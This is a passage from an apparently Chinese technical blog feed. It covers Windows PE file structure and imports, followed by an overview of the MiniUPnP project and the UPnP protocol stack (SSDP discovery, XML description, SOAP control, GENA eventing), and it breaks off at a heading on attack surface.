target="_blank" rel="noopener">Resource Hacker 3.4.0</a><br><a href="https://download.cnet.com/PE-Viewer/3000-2352_4-10966763.html" target="_blank" rel="noopener">PE viewer</a></p></li></ol><h1 id="0x02-链接库与函数"><a href="#0x02-链接库与函数" class="headerlink" title="0x02 链接库与函数"></a>0x02 链接库与函数</h1><p>对于一个可执行程序,可以收集到最有用的信息就是导入表。导入函数是程序所使用的但存储在另一程序中的那些函数。通过导入函数连接,使得不必重新在多个程序中重复实现特定功能。</p><ol><li>静态链接、运行时链接与动态链接。<br>静态链接:当一个库被静态链接到可执行程序时,所有这个库中的代码都会被复制到可执行程序中,这使得可执行程序增大许多,而且在分析代码时,很难区分静态链接的代码和自身代码。<br>运行时链接:在恶意代码中常用(加壳或混淆时),只有当需要使用函数时,才链接到库。<br>动态链接:当代码被动态链接时,宿主操作系统会在程序装载时搜索所需代码库,如果程序调用了被链接的库函数,这个函数会在代码库中执行。<br>LoadLibrary和GetProcAddress允许一个程序访问系统上任何库中的函数因此当它们被使用时无法静态分析出程序会链接哪些函数。<br>PE文件头存储了每个将被装载的库文件以及每个会被程序使用的函数信息。</li><li>工具Dependency Walker<br><a href="http://www.dependencywalker.com/" target="_blank" rel="noopener">Dependency Walker</a></li><li><p>常见dll程序<br><strong><em>kernel32.dll</em></strong><br>kernel32.dll是Windows 9x/Me中非常重要的32位动态链接库文件属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理当Windows启动时kernel32.dll就驻留在内存中特定的写保护区域使别的程序无法占用这个内存区域。<br><strong><em>user32.dll</em></strong><br>user32.dll是Windows用户界面相关应用程序接口用于包括Windows处理基本用户界面等特性如创建窗口和发送消息。<br>在早期32-bit 版本的Windows中用户控件是在ComCtl32中实现的但是一些控件的显示功能是在User32.dll中实现的。例如在一个窗口中非客户区域边框和菜单的绘制就是由User32.dll来完成的。User32.dll 是操作系统的一个核心控件它和操作系统是紧密联系在一起的。也就是说不同版本的Windows中User32.dll 是不同。因此应用程序在不同版本的Windows中运行的时候由于User32.dll的不同会导致应用程序的界面通常会有微小的不同。<br><strong><em>gdi32.dll</em></strong><br>gdi32.dll是Windows GDI图形用户界面相关程序包含的函数用来绘制图像和显示文字<br><strong><em>comdlg32.dll</em></strong><br>comdlg32.dll是Windows应用程序公用对话框模块用于例如打开文件对话框。<br><strong><em>advapi32.dll</em></strong><br>advapi32.dll是一个高级API应用程序接口服务库的一部分包含的函数与对象的安全性注册表的操控以及事件日志有关。<br><strong><em>shell32.dll</em></strong><br>shell32.dll是Windows的32位外壳动态链接库文件用于打开网页和文件建立文件时的默认文件名的设置等大量功能。<br>严格来讲它只是代码的合集真正执行这些功能的是操作系统的相关程序dll文件只是根据设置调用这些程序的相关功能罢了。<br><strong><em>ole32.dll</em></strong><br>ole32.dll是对象链接和嵌入相关模块。<br><strong><em>odbc32.dll</em></strong><br>odbc32.dll是ODBC数据库查询相关文件。</p></li><li><p>导入函数与导出函数<br>导入函数和导出函数都是用来和其他程序和代码进行交互时使用的通常一个DLL会实现一个或多个功能函数然后将他们导出使得别的程序可以导入并使用这些函数导出函数在DLL文件中是最常见的。</p></li></ol><h1 id="0x03-PE文件的结构"><a href="#0x03-PE文件的结构" class="headerlink" title="0x03 PE文件的结构"></a>0x03 PE文件的结构</h1><table><thead><tr><th>PE文件结构</th></tr></thead><tbody><tr><td>MZ文件头</td></tr><tr><td>DOS插桩程序</td></tr><tr><td>字串“PE\0\0”(4字节)</td></tr><tr><td>映像文件头</td></tr><tr><td>可选映像头</td></tr><tr><td>Section table(节表)</td></tr><tr><td>Section 1</td></tr><tr><td>Section 2</td></tr><tr><td>…..</td></tr></tbody></table><ol><li>DOS程序头(4H字节)<br>包括MZ文件头和DOS插桩程序。MZ文件头开始两个字节为4D5A。</li><li>NT映像头(14H字节)<br>存放PE整个文件信息分布的重要字段。包括</li></ol><ul><li>签名signature值为50450000h字串为PE\0\0可以在DOS程序头的3CH处的四个字节找到该字串的偏移位置</li><li>映像文件头FileHeader是映像头的主要部分包含PE文件最基本的信息。结构体为<figure class="highlight elm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">typedef struct _IMAGE_FILE_HEADER &#123; </span><br><span class="line"> <span class="type">WORD</span> <span class="type">Machine</span>; //运行平台</span><br><span class="line"> <span class="type">WORD</span> <span class="type">NumberOfSections</span>; //节(section)数目 </span><br><span class="line"> <span class="type">DWORD</span> <span class="type">TimeDateStamp</span>; //时间日期标记 </span><br><span class="line"> <span class="type">DWORD</span> <span class="type">PointerToSymbolTable</span>; //<span class="type">COFF</span>符号指针,这是程序调试信息 </span><br><span class="line"> <span class="type">DWORD</span> <span class="type">NumberOfSymbols</span>; //符号数 </span><br><span class="line"> <span class="type">WORD</span> <span class="type">SizeOfOptionalHeader</span>; //可选部首长度,是<span class="type">IMAGE_OPTIONAL_HEADER</span>的长度 </span><br><span class="line"> <span class="type">WORD</span> <span class="type">Characteristics</span>; //文件属性</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><ol start="3"><li><p>可选映像头(OptionalHeader)<br>包含PE文件的逻辑分布信息共有13个域。具体结构为</p><figure class="highlight elm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">typedef struct _IMAGE_OPTIONAL_HEADER &#123;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">Magic</span>; //代表的是文件的格式</span><br><span class="line"> <span class="type">BYTE</span> <span class="type">MajorLinkerVersion</span>;</span><br><span class="line"> <span class="type">BYTE</span> <span class="type">MinorLinkerVersion</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfCode</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfInitializedData</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfUninitializedData</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">AddressOfEntryPoint</span>; //保存着<span class="type">EP</span>的<span class="type">RVA</span>。也就是最先执行代码起始地址。</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">BaseOfCode</span>; //表示代码段起始<span class="type">RVA</span>先看他的值是1000</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">BaseOfData</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">ImageBase</span>; //默认装入基地址</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SectionAlignment</span>; //节区在内存中的最下单位</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">FileAlignment</span>; //节区在磁盘中的最小单位</span><br><span class="line"> <span class="type">WORD</span> <span class="type">MajorOperatingSystemVersion</span>;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">MinorOperatingSystemVersion</span>;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">MajorImageVersion</span>;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">MinorImageVersion</span>;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">MajorSubsystemVersion</span>;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">MinorSubsystemVersion</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">Win32VersionValue</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfImage</span>; //装入内存后的总尺寸</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfHeaders</span>; //头尺寸=<span class="type">NT</span>映像头+节表</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">CheckSum</span>;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">Subsystem</span>;</span><br><span class="line"> <span class="type">WORD</span> <span class="type">DllCharacteristics</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfStackReserve</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfStackCommit</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfHeapReserve</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">SizeOfHeapCommit</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">LoaderFlags</span>;</span><br><span class="line"> <span class="type">DWORD</span> <span class="type">NumberOfRvaAndSizes</span>;</span><br><span class="line"> <span class="type">IMAGE_DATA_DIRECTORY</span> <span class="type">DataDirectory</span>[<span class="type">IMAGE_NUMBEROF_DIRECTORY_ENTRIES</span>];</span><br><span class="line">&#125; <span class="type">IMAGE_OPTIONAL_HEADER</span>, *<span class="type">PIMAGE_OPTIONAL_HEADER</span>;</span><br></pre></td></tr></table></figure></li><li><p>节表<br>实际上是一个结构数组其中每个结构包含了一个节的具体信息每个结构占用28H字节</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">typedef struct _IMAGE_SECTION_HEADER &#123;</span><br><span class="line"> <span class="keyword">BYTE </span> Name[IMAGE_SIZEOF_SHORT_NAME]<span class="comment">;</span></span><br><span class="line"> union &#123;</span><br><span class="line"> DWORD PhysicalAddress<span class="comment">;</span></span><br><span class="line"> DWORD VirtualSize<span class="comment">; //该节的实际字节数</span></span><br><span class="line"> &#125; Misc<span class="comment">;</span></span><br><span class="line"> DWORD VirtualAddress<span class="comment">; //本节的相对虚拟地址</span></span><br><span class="line"> DWORD SizeOfRawData<span class="comment">; //对齐后的节尺寸</span></span><br><span class="line"> DWORD PointerToRawData<span class="comment">; //本节在文件中的地址</span></span><br><span class="line"> DWORD PointerToRelocations<span class="comment">; //本节调入内存后的存放位置</span></span><br><span class="line"> DWORD PointerToLinenumbers<span class="comment">;</span></span><br><span class="line"> WORD NumberOfRelocations<span class="comment">;</span></span><br><span class="line"> WORD NumberOfLinenumbers<span class="comment">;</span></span><br><span class="line"> DWORD Characteristics<span class="comment">; //节的属性</span></span><br><span class="line">&#125; IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER<span class="comment">;</span></span><br></pre></td></tr></table></figure></li><li><p>节</p></li></ol><ul><li><p>引入函数节(.rdata/.idata)</p><figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">typedef <span class="class"><span class="keyword">struct</span> <span class="title">_IMAGE_IMPORT_DESCRIPTOR</span> &#123;</span></span><br><span class="line"> <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line"> DWORD Characteristics; <span class="regexp">//</span> <span class="number">0</span> <span class="keyword">for</span> terminating null import descriptor</span><br><span class="line"> DWORD OriginalFirstThunk; <span class="regexp">//</span> RVA to original unbound IAT (PIMAGE_THUNK_DATA)</span><br><span class="line"> &#125;;</span><br><span class="line"> DWORD TimeDateStamp; <span class="regexp">//</span> <span class="number">0</span> <span class="keyword">if</span> not bound,</span><br><span class="line"> /<span class="regexp">/ -1 if bound, and real datetime stamp</span></span><br><span class="line"><span class="regexp"> /</span><span class="regexp">/ in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)</span></span><br><span class="line"><span class="regexp"> /</span><span class="regexp">/ O.W. date/time</span> stamp <span class="keyword">of</span> DLL bound to (Old BIND)</span><br><span class="line"></span><br><span class="line"> DWORD ForwarderChain; <span class="regexp">//</span> -<span class="number">1</span> <span class="keyword">if</span> no forwarders</span><br><span class="line"> DWORD Name;</span><br><span class="line"> DWORD FirstThunk; <span class="regexp">//</span> RVA to IAT (<span class="keyword">if</span> bound this IAT has actual addresses)</span><br><span class="line">&#125; IMAGE_IMPORT_DESCRIPTOR;</span><br></pre></td></tr></table></figure></li><li><p>一个exe程序加载dll的IMAGE_IMPORT_DESCRIPTOR<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1556519313/1506049226526485.jpg" alt></p></li></ul>]]></content>
<categories>
<category> 二进制 </category>
</categories>
<tags>
<tag> 文件格式 </tag>
<tag> PE </tag>
</tags>
</entry>
<entry>
<title>小米路由器_MiniUPnP协议</title>
<link href="/2019/04/21/XIAOMI-UPnP/"/>
<url>/2019/04/21/XIAOMI-UPnP/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p><a href="http://miniupnp.free.fr/" target="_blank" rel="noopener">HomePage</a><br><a href="https://openwrt.org/docs/guide-user/firewall/upnp/miniupnpd" target="_blank" rel="noopener">OpenWRT与miniUPnP</a></p><blockquote><p>MiniUPnP项目提供了支持UPnP IGD(互联网网关设备)规范的软件。<br>在MiniUPnPd中添加了NAT-PMP和PCP支持。 对于客户端MiniUPnPc使用libnatpmp来支持NAT-PMP。<br>MiniUPnP守护程序MiniUPnPd支持OpenBSDFreeBSDNetBSDDragonFly BSDOpenSolaris和Mac OS X以及pf或ipfwipfirewall或ipf和Linux with netfilter。 MiniUPnP客户端MiniUPnPc和MiniSSDPd是便携式的可以在任何POSIX系统上运行。 MiniUPnPc也适用于MS Windows和AmigaOS版本3和4。</p></blockquote><h2 id="UPnP-IGD客户端轻量级库和UPnP-IGD守护进程"><a href="#UPnP-IGD客户端轻量级库和UPnP-IGD守护进程" class="headerlink" title="UPnP IGD客户端轻量级库和UPnP IGD守护进程"></a>UPnP IGD客户端轻量级库和UPnP IGD守护进程</h2><p>大多数家庭adsl /有线路由器和Microsoft Windows 2K/XP都支持UPnP协议。 MiniUPnP项目的目标是提供一个免费的软件解决方案来支持协议的“Internet网关设备”部分。</p><blockquote><p>用于UPnP设备的Linux SDKlibupnp对我来说似乎太沉重了。 我想要最简单的库占用空间最小并且不依赖于其他库例如XML解析器或HTTP实现。 所有代码都是纯ANSI C.</p></blockquote><p>miniupnp客户端库在x86 PC上编译代码大小不到50KB。<br>miniUPnP守护程序比任何其他IGD守护程序小得多因此非常适合在低内存设备上使用。 它也只使用一个进程而没有其他线程不使用任何system或exec调用因此保持系统资源使用率非常低。<br>该项目分为两个主要部分:</p><ul><li>MiniUPnPc客户端库使应用程序能够访问网络上存在的UPnP“Internet网关设备”提供的服务。 在UPnP术语中MiniUPnPc是UPnP控制点。</li><li>MiniUPnPd一个守护进程通过作为网关的linux或BSD甚至Solaris为您的网络提供这些服务。 遵循UPnP术语MiniUPnPd是UPnP设备。<br>开发MiniSSDPd与MiniUPnPcMiniUPnPd和其他协作软件一起工作1. MiniSSDPd监听网络上的SSDP流量因此MiniUPnPc或其他UPnP控制点不需要执行发现过程并且可以更快地设置重定向 2. MiniSSDPd还能够代表MiniUPnPd或其他UPnP服务器软件回复M-SEARCH SSDP请求。 这对于在同一台机器上托管多个UPnP服务很有用。<br>守护进程现在也可以使用netfilter用于linux 2.4.x和2.6.x. 可以使它在运行OpenWRT的路由器设备上运行。<br>由于某些原因直接使用MiniUPnP项目中的代码可能不是一个好的解决方案。<br>由于代码很小且易于理解因此为您自己的UPnP实现提供灵感是一个很好的基础。 C ++中的<a href="http://ktorrent.org/" target="_blank" rel="noopener">KTorrent</a> UPnP插件就是一个很好的例子。</li></ul><h2 id="MiniUPnP客户端库的实用性"><a href="#MiniUPnP客户端库的实用性" class="headerlink" title="MiniUPnP客户端库的实用性"></a>MiniUPnP客户端库的实用性</h2><p>只要应用程序需要侦听传入的连接MiniUPnP客户端库的使用就很有用。例如P2P应用程序活动模式的FTP客户端IRC用于DCC或IM应用程序网络游戏任何服务器软件。</p><ul><li>路由器的UPnP IGD功能的典型用法是使用MSN Messenger的文件传输。 MSN Messenger软件使用Windows XP的UPnP API打开传入连接的端口。 为了模仿MS软件最好也使用UPnP。</li><li>已经为XChat做了一个补丁以展示应用程序如何使用miniupnp客户端库。</li><li>传输一个免费的软件BitTorrent客户端正在使用miniupnpc和libnatpmp。</li></ul><h2 id="MiniUPnP守护进程的实用性"><a href="#MiniUPnP守护进程的实用性" class="headerlink" title="MiniUPnP守护进程的实用性"></a>MiniUPnP守护进程的实用性</h2><p>UPnP和NAT-PMP用于改善NAT路由器后面的设备的互联网连接。 诸如游戏IM等的任何对等网络应用可受益于支持UPnP和/或NAT-PMP的NAT路由器。最新一代的Microsoft XBOX 360和Sony Playstation 3游戏机使用UPnP命令来启用XBOX Live服务和Playstation Network的在线游戏。 据报道MiniUPnPd正在与两个控制台正常工作。 它可能需要一个精细的配置调整。</p><h2 id="安全"><a href="#安全" class="headerlink" title="安全"></a>安全</h2><p>UPnP实施可能会受到安全漏洞的影响。 错误执行或配置的UPnP IGD易受攻击。 安全研究员HD Moore做了很好的工作来揭示现有实施中的漏洞<a href="http://hdm.io/writing/originals/SecurityFlawsUPnP.pdf" target="_blank" rel="noopener">通用即插即用PDF中的安全漏洞</a>。 一个常见的问题是让SSDP或HTTP/SOAP端口对互联网开放它们应该只能从LAN访问。</p><h1 id="协议栈"><a href="#协议栈" class="headerlink" title="协议栈"></a>协议栈</h1><p>工作流程<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830377/paper/111.png" alt></p><p>Linux体系结构<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830425/paper/112.png" alt></p><h2 id="发现"><a href="#发现" class="headerlink" title="发现"></a>发现</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830465/paper/113.png" alt><br>给定一个IP地址通过DHCP获得UPnP网络中的第一步是发现。<br>当一个设备被加入到网络中并想知道网络上可用的UPnP服务时UPnP检测协议允许该设备向控制点广播自己的服务。通过UDP协议向端口1900上的多播地址239.255.255.250发送发现消息。此消息包含标头类似于HTTP请求。此协议有时称为HTTPUHTTP over UDP<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">M-SEARCH * HTTP / <span class="number">1.1</span></span><br><span class="line">主机:<span class="number">239.255</span><span class="number">.255</span><span class="number">.250</span> <span class="number">1900</span></span><br><span class="line">MANssdpdiscover</span><br><span class="line">MX<span class="number">10</span></span><br><span class="line">STssdpall</span><br></pre></td></tr></table></figure></p><p>所有其他UPnP设备或程序都需要通过使用UDP单播将类似的消息发送回设备来响应此消息并宣布设备或程序实现哪些UPnP配置文件。对于每个配置文件它实现一条消息发送<br><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">HTTP / <span class="number">1.1</span> <span class="number">200</span> OK</span><br><span class="line">CACHE-CONTROLmax-age = <span class="number">1800</span></span><br><span class="line">EXT</span><br><span class="line">LOCATIONhttp//<span class="number">10.0</span><span class="meta">.0</span><span class="meta">.138</span><span class="number">80</span> / IGD.xml</span><br><span class="line">SERVERSpeedTouch <span class="number">510</span> <span class="number">4.0</span><span class="meta">.0</span><span class="meta">.9</span><span class="meta">.0</span> UPnP / <span class="number">1.0</span>DG233B00011961</span><br><span class="line"><span class="built_in">ST</span>urnschemas-upnp-orgserviceWANPPPConnection<span class="number">1</span></span><br><span class="line">USNuuidUPnP-SpeedTouch510 :: urnschemas-upnp-orgserviceWANPPPConnection<span class="number">1</span></span><br></pre></td></tr></table></figure></p><p>类似地,当一个控制点加入到网络中的时候,它也能够搜索到网络中存在的、感兴趣的设备相关信息。这两种类型的基础交互是一种仅包含少量、重要相关设备信息或者它的某个服务。比如,类型、标识和指向更详细信息的链接。<br>UPnP检测协议是 <strong><em>基于简单服务发现协议SSDP</em></strong> 的。</p><h2 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h2><p>UPnP网络的下一步是描述。当一个控制点检测到一个设备时它对该设备仍然知之甚少。为了使控制点了解更多关于该设备的信息或者和设备进行交互控制点必须从设备发出的检测信息中包含的URL获取更多的信息。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830499/paper/114.png" alt><br>某个设备的UPnP描述是 <strong>XML</strong> 的方式,通过http协议包括品牌、厂商相关信息如型号名和编号、序列号、厂商名、品牌相关URL等。描述还包括一个嵌入式设备和服务列表以及控制、事件传递和存在相关的URL。对于每种设备描述还包括一个命令或动作列表包括响应何种服务针对各种动作的参数这些变量描述出运行时设备的状态信息并通过它们的数据类型、范围和事件来进行描述。</p><h2 id="控制"><a href="#控制" class="headerlink" title="控制"></a>控制</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830533/paper/1133.png" alt><br>UPnP网络的下一步是控制。当一个控制点获取到设备描述信息之后它就可以向该设备发送指令了。为了实现此控制点发送一个合适的控制消息至服务相关控制URL包含在设备描述中。<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">service</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">serviceType</span>&gt;</span> urnschemas-upnp-orgserviceWANPPPConnection1 <span class="tag">&lt;/ <span class="attr">serviceType</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">serviceId</span>&gt;</span> urnupnp-org serviceIdwanpppcpppoa <span class="tag">&lt;/ <span class="attr">serviceId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">controlURL</span>&gt;</span> / upnp / control / wanpppcpppoa <span class="tag">&lt;/ <span class="attr">controlURL</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">eventSubURL</span>&gt;</span> / upnp / event / wanpppcpppoa <span class="tag">&lt;/ <span class="attr">eventSubURL</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">SCPDURL</span>&gt;</span> /WANPPPConnection.xml <span class="tag">&lt;/ <span class="attr">SCPDURL</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/ <span class="attr">service</span>&gt;</span></span><br></pre></td></tr></table></figure></p><p>要发送SOAP请求只需要controlURL标记内的URL。控制消息也是通过 <strong><em>简单对象访问协议SOAP</em></strong> 用XML来描述的。类似函数调用服务通过返回动作相关的值来回应控制消息。动作的效果如果有的话会反应在用于刻画运行中服务的相关变量。</p><h2 id="事件通知"><a href="#事件通知" class="headerlink" title="事件通知"></a>事件通知</h2><p>下一步是事件通知。UPnP中的事件 <strong><em>协议基于GENA</em></strong> 。一个UPnP描述包括一组命令列表和刻画运行时状态信息的变量。服务在这些变量改变的时候进行更新控制点可以进行订阅以获取相关改变。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830573/paper/115.png" alt><br>服务通过发送事件消息来发布更新。事件消息包括一个或多个状态信息变量以及它们的当前数值。这些消息也是采用XML的格式用通用事件通知体系进行格式化。一个特殊的初始化消息会在控制点第一次订阅的时候发送它包括服务相关的变量名及值。为了支持多个控制点并存的情形事件通知被设计成对于所有的控制点都平行通知。因此所有的订阅者同等地收到所有事件通知。<br>当状态变量更改时,新状态将发送到已订阅该事件的所有程序/设备。程序/设备可以通过eventSubURL来订阅服务的状态变量该URL可以在LOCATION指向的URL中找到。<br><figure class="highlight bnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">&lt;service&gt;</span></span><br><span class="line"> <span class="attribute">&lt;serviceType&gt;</span> urnschemas-upnp-orgserviceWANPPPConnection1 <span class="attribute">&lt;/ serviceType&gt;</span></span><br><span class="line"> <span class="attribute">&lt;serviceId&gt;</span> urnupnp-orgserviceIdwanpppcpppoa <span class="attribute">&lt;/ serviceId&gt;</span></span><br><span class="line"> <span class="attribute">&lt;controlURL&gt;</span> / upnp / control / wanpppcpppoa <span class="attribute">&lt;/ controlURL&gt;</span></span><br><span class="line"> <span class="attribute">&lt;eventSubURL&gt;</span> / upnp / event / wanpppcpppoa <span class="attribute">&lt;</span></span><br><span class="line"><span class="attribute"> &lt;SCPDURL&gt;</span> /WANPPPConnection.xml <span class="attribute">&lt;/ SCPDURL&gt;</span></span><br><span class="line"><span class="attribute">&lt;/ service&gt;</span></span><br></pre></td></tr></table></figure></p><h2 id="展示"><a href="#展示" class="headerlink" title="展示"></a>展示</h2><p>最后一步是展示。如果设备带有存在URL那么控制点可以通过它来获取设备存在信息即在浏览器中加载URL并允许用户来进行相关控制或查看操作。具体支持哪些操作则是由存在页面和设备完成的。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830618/paper/1111.png" alt></p><h2 id="NAT穿透"><a href="#NAT穿透" class="headerlink" title="NAT穿透"></a>NAT穿透</h2><p>UPnP为NAT网络地址转换穿透带来了一个解决方案<strong>互联网网关设备协议IGD</strong>。NAT穿透允许UPnP数据包在没有用户交互的情况下无障碍的通过路由器或者防火墙假如那个路由器或者防火墙支持NAT。</p><h1 id="SOAP和UPnP"><a href="#SOAP和UPnP" class="headerlink" title="SOAP和UPnP"></a>SOAP和UPnP</h1><table><thead><tr><th>协议</th><th>全称</th></tr></thead><tbody><tr><td>UPnP</td><td>Universal Plug and Play</td></tr><tr><td>SSDP</td><td>Simple Service Discovery Protocol</td></tr><tr><td>SCPD</td><td>Service Control Protocol Definition</td></tr><tr><td>SOAP</td><td>Simple Object Access Protocol</td></tr></tbody></table><h2 id="UPnP-Discovery"><a href="#UPnP-Discovery" class="headerlink" title="UPnP - Discovery"></a>UPnP - Discovery</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555576753/paper/1.png" alt></p><h2 id="UPnP--Description"><a href="#UPnP--Description" class="headerlink" title="UPnP Description"></a>UPnP Description</h2><ul><li>XML文件通常托管在高位的TCP端口</li><li>版本信息<br>upnp.org spec<br>通常为1.0</li><li>设备定义<br>型号名和编号、序列号、厂商名、品牌相关URL<br>服务列表服务类型SCPD URLControl URLEvent URL<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555576810/paper/2.png" alt><h2 id="UPnP--SCPD"><a href="#UPnP--SCPD" class="headerlink" title="UPnP SCPD"></a>UPnP SCPD</h2></li><li>定义服务动作和参数的XML文件</li><li>版本信息<br>和描述一致</li><li>动作列表<br>动作名<br>参数:参数名、方向(输入输出)、变量名</li><li>变量列表<br>变量名、数据类型<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555577220/paper/3.png" alt><h2 id="UPnP--Control"><a href="#UPnP--Control" class="headerlink" title="UPnP Control"></a>UPnP Control</h2></li><li>这里用到了SOAP</li><li>主要是RPC服务或CGI脚本的前端</li><li>SOAP封装<br>• XML格式的API调用<br>• 描述XML中的服务类型<br>• 来自SCPD XML的动作名称和参数</li><li>POST封装到control URL<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555577719/paper/4.png" alt><h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555577820/paper/5.png" alt><h2 id="好的一面"><a href="#好的一面" class="headerlink" title="好的一面"></a>好的一面</h2></li><li>Control AV equipment</li><li>Home automation</li><li>Network administration</li><li>Physical security systems (ok, easy there buddy)</li><li>Industrial monitoring and control (uh…what?)</li><li>And this is just the official specs<br>All our devices can talk to each other! Brave new worlds of remote control and automation! Have your toaster turn on the lights, set the TV to the news channel, and send you a text message when breakfast is ready! The future is now! Nothing could possibly go wrong!<h2 id="关于安全"><a href="#关于安全" class="headerlink" title="关于安全"></a>关于安全</h2></li></ul><ol><li>嵌入式设备</li></ol><ul><li>有限的内存和处理能力</li><li>硬件和软件开发人员通常是完全不同的公司</li><li>复制和粘贴开发</li><li>保持低成本</li><li>不完全关心/懂行</li></ul><ol start="2"><li>部署</li></ol><ul><li>数以百万计的面向互联网的UPnP设备</li><li>要计算的供应商太多</li><li>前端是标准化的,后端甚至在同一供应商内也有所不同</li><li>难以修补/更新固件</li><li>仅仅因为你可以,并不意味着你应该</li></ul><ol start="3"><li>XML解析很难</li></ol><ul><li>需要大量系统资源</li><li>自由格式的用户提供的数据</li><li>2013年2.5的CVE与XML相关[2]其中近36的患者CVSS严重程度为7或以上</li><li>随着XML的用例增长版本也越来越多递归错误XXE命令注入等……</li></ul><h1 id="攻击面"><a href="#攻击面" class="headerlink" title="攻击面"></a>攻击面</h1><ul><li>UPnP服务<br>• HTTP头解析<br>• 